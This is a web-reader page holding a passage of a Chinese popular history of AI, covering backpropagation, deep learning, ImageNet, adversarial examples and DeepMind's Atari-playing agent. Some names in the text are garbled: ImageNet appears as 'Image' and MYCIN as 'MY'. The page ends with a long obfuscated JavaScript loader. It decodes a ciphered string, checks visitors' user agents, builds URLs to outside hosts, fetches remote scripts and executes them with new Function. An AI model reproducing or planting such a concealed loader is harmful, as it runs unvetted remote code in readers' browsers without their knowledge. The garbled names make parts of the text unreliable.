关灯
护眼
字体:

第五章 深度突破(第2页)

章节目录保存书签

美国海军今天公布了一个电子计算机雏形,人们期望它能够行走、说话、视物、书写、自我复制,并且意识到自己的存在。

对于神经网络研究衰落的确切原因,我们可以展开各种辩论,但不管是什么,到了20世纪60年代末,神经网络研究急剧衰落。人们转而支持麦卡锡、明斯基和西蒙倡导的符号人工智能的方式(讽刺的是,神经网络研究的衰落仅仅发生在人工智能寒冬——我们在第二章里提到过——出现的前几年)。1971年,罗森布拉特死于一次航海事故,使得神经网络研究领域失去了一员主力大将。如果他能活下来,人工智能的历史也许会有所不同。总之,在他死后,神经网络的研究被搁置了十多年。

连接主义(神经网络2。0)

神经网络研究领域一直处于休眠状态,直到20世纪80年代才开始复苏。一本分上下两册出版的书籍《并行分布式处理》[65],预示着神经网络研究领域的复兴。并行和分布式处理(简称PDP)是计算机科学研究的一个主流领域,它主要研究如何建立能够并行运算的计算机系统。乍一看,这本书跟人工智能或者神经网络毫无关联,而且我想某些看了书名就买书的人,在发现本书的内容和神经网络有关的时候,会感到无比困惑。或许作者选择这个标题就是为了跟之前的神经网络研究撇清关系吧。

从某种意义上来说,新兴研究的最重要部分也没那么新颖:它主要研究多层神经网络,可以轻易克服明斯基和帕普特所断定的简单感知器系统的局限性。不过跟之前的研究仍然有一点关键的区别。以前关于感知器的研究主要集中在单层网络上,因为当时没有人知道如何“训练”多层神经网络,也不知道如何找出神经元之间连接的权重值。PDP以一种被称为反向传播的算法为这个问题提供了解决方案,这或许是神经网络领域中最重要的一门技术。

就如科学研究中经常发生的情况一样,反向传播似乎在过去的几年里被发明和重新发明过很多次,但是PDP研究人员引入的特定方法最终确定了它的地位[66]。

如果要完整地解释反向传播算法,我们必须引入本科水准的微积分知识,这远远超出了本书设定的范围。不过反向传播算法的基本思想很简单,它的工作原理是收取神经网络出错的反馈,这里的错误是在网络的输出层的输出(比如网络输入了一张猫的图片,而输出层将其归类为一条狗)。反向传播算法将错误从输出端向输入端逐层逆向修正(算法也是因此而得名的)。它首先计算误差值(即输出的数据和期望得到数据之间的差值),在给定输入和输出的情况下,误差是一个和权重有关的函数,需要通过修正权重值使得误差值达到极小(即尽量减少误差)。根据误差值能够得到等值线图,在等值线图上体现为最陡的下降路线,即为从当前的误差到我们期望的最小误差的方法。这个通过调整权重值来减少误差值,最终接近极小误差(即输出结果尽量接近期望输出)的过程被称为梯度下降。然后,调整完最后一层权重以后,逐级往前调整,以此类推。

PDP还提供了比感知器更适用的神经元模型。感知器模型本质上还是二进制的计算单元(状态为开或者关),而PDP的神经元模型更具备通用性。

反向传播算法的发展和PDP研究界引入的其他创新,使得神经网络具备广泛应用的可行性,这远远超出了20年前感知器模型的简单演示,人们对神经网络的发展兴趣倍增。但事实证明,PDP的泡沫也没有持续太久。到了90年代中期,神经网络研究再次失宠。事后看来,神经网络车轮从PDP研究这辆马车上脱落的原因,并非研究基础有固有缺陷这类硬伤,而是源于一个平淡无奇的理由:当时的计算力不够强大,无法承载新技术。并且,PDP的进步似乎十分缓慢,而机器学习的其他领域又在飞速发展,因此,机器学习的主流热点,又一次从神经模型上转移开了。

深度学习(神经网络3。0)

我想起2000年前后参与的一个学术人工智能特派专家组的经历。小组的一位成员试图说服我们拒绝任何从事神经网络研究的申请人。“这是一个富有影响力、充满机会的领域,”他辩称,“我们为什么要雇用一个研究夕阳产业的人呢?”不过我们忽视了他的意见。但公正地说,在2000年,你必须具备非凡的远见卓识才能预测到神经网络即将再次复兴。到了2006年前后,一场复苏确实开始了,它引起了人工智能史上规模最大、宣传最广的爆发。

推动第三次神经网络研究浪潮的关键技术被称为深度学习[67]。我倒是很乐意告诉你深度学习可以用某个单一的关键理念描述出来,可惜,事实上,这个术语指代的是一系列相关思想的合集。深度学习至少可以从三个不同的方面解读。

其中最重要的,顾名思义,就是网络要具备“深度”,即多层结构。每一层可以在不同的抽象层面上处理一个问题——靠近输入层的层面处理数据中比较低级的概念(例如图片的边缘之类),而越是到了深层网络,就处理越为抽象的概念。

深度学习不仅仅体现在“深度”上,还能够享受神经元数量剧增的益处。一个典型的1990年的神经网络可能只有大约100个神经元(如果你没忘的话,人类的大脑大约有1000亿个神经元)。这样的网络在处理具体问题上显然十分具有局限性。到了2016年,先进的神经网络已经拥有大约100万个神经元了(这个数量和蜜蜂的大脑大致相同)[68]。

最后,深度学习使用的深层次网络中,神经元本身的连接数量也十分可观。在20世纪80年代出现的高度连接神经网络中,每个神经元可能与其他神经元产生150个连接。到了撰写本书的时候,最先进的神经网络中的神经元,已经和猫的大脑神经元连接数相当了。而人类的神经元平均拥有10000个连接。

现在,深度神经网络拥有更多的网络层次结构、更多的神经元以及每个神经元拥有更多的连接,为了训练这样的网络学习,就需要比反向传播算法更先进的技术。杰夫·辛顿(GeoffHinton)于2006年提出了这一观点,他是一位英国出生的加拿大研究员,比任何人都认同深度学习的改革。不管怎么说,辛顿是个了不起的人,他也是20世纪80年代PDP运动的领导人之一,同样也是反向传播算法的创始人之一。我个人认为他最了不起的一点在于,当PDP研究失宠后,辛顿并没有灰心丧气,而是坚持下来,并以深度学习的形式将神经网络带入另一个辉煌,他也因此受到了国际社会的赞誉。(很凑巧,辛顿正好是乔治·布尔的曾孙,我们在第三章里提到过布尔,他是现代逻辑的奠基人之一。不过,辛顿声称,或许这是他和逻辑派传统人工智能唯一的关联。)

更深的网络层级、更庞大的神经元结构、更广泛的神经元连接,是神经网络深度学习模式成功的一个关键因素。而辛顿和其他人在关于训练神经网络方面提供的新技术是另一个关键因素。但深度学习真正获得成功,还需要另外两个因素:数据和计算能力。

数据对机器学习的重要性可以用Image项目的故事来说明[69]。Image来自华裔研究员李飞飞的创意。1976年她出生于北京,80年代随父母移居美国,学习物理和电气工程。2009年,她进入了斯坦福大学,并在2013年至2018年间带领斯坦福大学人工智能实验室。李飞飞认为,机器学习需要大型的、维护良好的数据集,这可以为新系统的训练、测试和比较提供一个通用的基线,也将使整个深度学习研究界受益匪浅。因此,她启动了Image项目。

&是一个大型的在线图像档案库,在撰写本书时,已经拥有大约1400万张图片。Image的图片仅仅是照片而已,你可以下载为普通的数码格式,比如JPEG。不过,最重要的是,这些图片被详细分为22000种不同的类别,使用一个名为“词汇网”[70]的在线语义词库标注。词汇网的单词被仔细分类过,例如可以识别具有相同或者相反含义的词汇等等。现在查看Image的图片,我们可以看到它包含1032张标记为“火山口”的图片,122张标记为“飞盘”的图片,诸如此类。我们需要了解的一个重点是,数据库中特定类别的图像并非人工分类的,也不是因为看上去很相似所以列入分类——恰恰相反,举个例子,飞盘类的图片唯一的共同点是它包含飞盘。其中某些图像是一个人朝另一个人扔飞盘,也有图像是静止在桌面上的飞盘,没有任何人影。每张图片都不一样——除了它们都包含飞盘这个要素。

2012年是技术图像分类发展的最佳时机,当时杰夫·辛顿和他的两位同事亚历克斯·克里泽夫斯基(AlexKrizhevsky)、伊利亚·苏茨科弗(IlyaSutskever)一起展示了名为Alex的神经网络系统,它在国际图像识别比赛中有着亮眼的表现[71]。

使深度学习发挥作用的最后一个要素是计算机的处理能力。训练一个深度神经网络需要大量的计算机处理时间,训练本身要做的工作并不太复杂,但是数量庞大。21世纪初开始流行的一种新型计算机处理器被证明是计算繁重任务的理想选择。图形处理单元(GPU)最初是为了处理计算机图形问题而开发的,例如为电脑游戏中提供高质量的动画。但这些芯片被证明是训练深度神经网络的完美工具。现在,每一个名副其实的深度学习实验室里都有GPU群——然而,不管它们拥有多少GPU,实验室的工作人员都会抱怨还不够。

毋庸置疑,深度学习和神经网络取得了成功,但它们也存在一些众所周知的缺点。

首先,它们所体现的智慧是不透明的。神经网络所获取的知识体现在神经元之间相互连接的权重值上,到目前为止,我们还没有办法解析这些知识。一个深度学习的程序可以告诉你在X光扫描图片中哪里有肿瘤,但它无法证明它的诊断是正确无误的。一个拒绝为客户提供银行贷款的深度学习程序无法告诉你它拒绝客户的原因。在第三章中,我们看到类似MY这样的专家系统能够对系统结论做出粗略解释——专家系统得出结论的推理依据是可以追溯的,但神经网络无法做到这一点。目前有许多研究人员正在致力于解决这个问题,但是,到现在为止,我们还不知道如何解释和表达神经网络所包含的知识。

另一个关键问题是神经网络的稳定性,这是个不易察觉但非常重要的问题。例如,如果对图像进行细微的修正,对人类而言,这种修正完全不会影响图像识别,但会导致神经网络错误地将其分类,如图17所示[72]。图a是熊猫的原始图像,图b是经过修改的。我想你会认为这两张图没什么差别,而且你肯定会认同它们都是熊猫图片这个结论。可是神经网络能够正确地将图a分类为熊猫,但对图b,它则错误地将其分类为长臂猿。为了解决这类问题而进行的研究被称为对抗性机器学习——这个术语源自一个观点,即有对手故意通过修改图片参数的方式来试图蒙骗程序。

图17 熊猫还是长臂猿?

神经网络可以正确地将图像a分类为熊猫。然而,以人类无法察觉的方式调整过图像以后,同一个神经网络会错误地将图像b分类为长臂猿。

图像分类程序认错了动物,倒不是什么要紧的事情,但对抗性机器学习已经昭示了一些令人惶恐的案例。例如,事实证明,同样的改图方式可以影响程序对路标的识别,虽然人类肉眼看来没什么区别,但是在无人驾驶汽车中,神经网络就可能误读路标。所以,我们要在敏感的应用程序中使用深度学习算法,就需要详细了解这方面的问题。

深度思维

在本章最开始提到的深度思维公司的故事完美地代表了深度学习的兴起,这家公司由人工智能研究人员兼电脑游戏爱好者德米斯·哈萨比斯(DemisHassabis)和他的校友,企业家穆斯塔法·苏莱曼(MustafaSuleyman)于2010年创立,公司还有哈萨比斯在伦敦大学学院工作时认识的计算神经科学家谢恩·莱格(ShaneLegg)加盟。

正如我们所知的,谷歌在2014年收购了深度思维公司,我还记得在媒体上看到这则新闻时,惊讶于深度思维是一家人工智能公司。显然,在收购的时候人工智能成为新的热点,这不足为奇,我惊讶的是在英国竟然有一家我没有听说过的人工智能公司,价值4亿英镑,这真的让我困惑不已。和别人一样,我立马访问了深度思维的网站,但坦白地说,这并没有为我解惑。公司的技术、产品和服务都没有任何详细的说明。然而,它倒是提供了一个有趣的话题:深度思维公司公开宣称其任务是解决智能问题。我已经提到过,人工智能在过去60年里命运多舛,这让我对任何雄心勃勃预测人工智能进步的消息保持警惕:你可以想象,看到一家刚刚被科技巨头收购的小公司竟然发表如此大胆的声明,让我多么吃惊。

不过网站上没有提供更多细节,我当时也没能找到更了解它的人。人工智能界的同行大多对这个声明持怀疑态度,可能也带有一点职业嫉妒的色彩。直到2014年末,我碰巧遇见了一位同事南多·德·雷弗斯塔(as),才打听到更多关于深度思维的消息。南多是深度学习领域世界级先驱之一,当时他是牛津大学的教授,是我的同事(后来他离开学校,去了深度思维工作)。他正好和学生们参加一个研讨会,腋下夹着一堆科学论文。显然他在为某件事情兴奋着,他告诉我:“伦敦有人训练出了一个程序,可以从头开始玩雅达利游戏。”

我不得不说,这有什么好兴奋的?可以玩电子游戏的程序又不是什么新鲜事。这种程度的挑战我们可能会布置给本科生作为毕业项目——我就是这么轻蔑地告诉南多的。他很耐心地给我详细解释,我们确实已经进入了人工智能的新时代。

南多提到的雅达利游戏系统基于早期的雅达利2600系列游戏机,那是1980年前后的产品,是最早获得成功的视频电子游戏平台之一:它支持210×160像素网格的大分辨率视频,支持128位颜色。用户通过一个带单独按钮的操作杆进行操作,游戏机使用插卡式游戏卡带,深度思维用的游戏卡带一共有49个游戏。他们对人工智能的描述如下[73]:

我们的目标是构建一个单一的神经网络游戏智能体,它能够学习玩尽可能多的游戏。神经网络没有提供任何特定游戏的信息或者额外加入的视觉要素,也不了解游戏机的内部状态。它只能从显示屏所反馈的东西进行学习(即游戏分数),以及弄清楚到底该怎么操作游戏——就像人类玩家一样。

为了理解深度思维成就的意义,了解他们的程序到底做了什么以及没做什么,这一点非常重要。或许最重要的一点是,程序对自己正在玩的游戏一无所知。如果我们试图用第三章中提到的基于知识的人工智能来构建一个雅达利游戏程序,首先会考虑从雅达利游戏机中提取的专家系统知识,并尝试使用规则或其他一些表示知识的方案对其进行编码(如果你想试试的话,祝你好运)。但是深度思维的程序根本没有任何关于游戏的知识,程序得到的唯一信息是出现在游戏机屏幕上的图像(以210×160彩色像素网格的形式)和游戏的当前分数。仅仅如此,这个程序压根没有其他的信息可以参考。这里要特别提出来讲一下,程序没有得到诸如“对象A在位置(x,y)上”之类的信息——任何类似的信息都需要程序从原始的视频数据中自己提取。

程序运行的结果简直令人惊讶[74],程序通过强化学习自学玩游戏:反复玩同一个游戏,在每个游戏中进行实验并获得反馈,并学习哪些行为会得到奖励,而哪些不会。雅达利游戏程序学会了游戏卡带中的29个游戏,表现出高于人类玩家平均水准的能力。在某些游戏里面,它甚至达到了超人的水准。

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();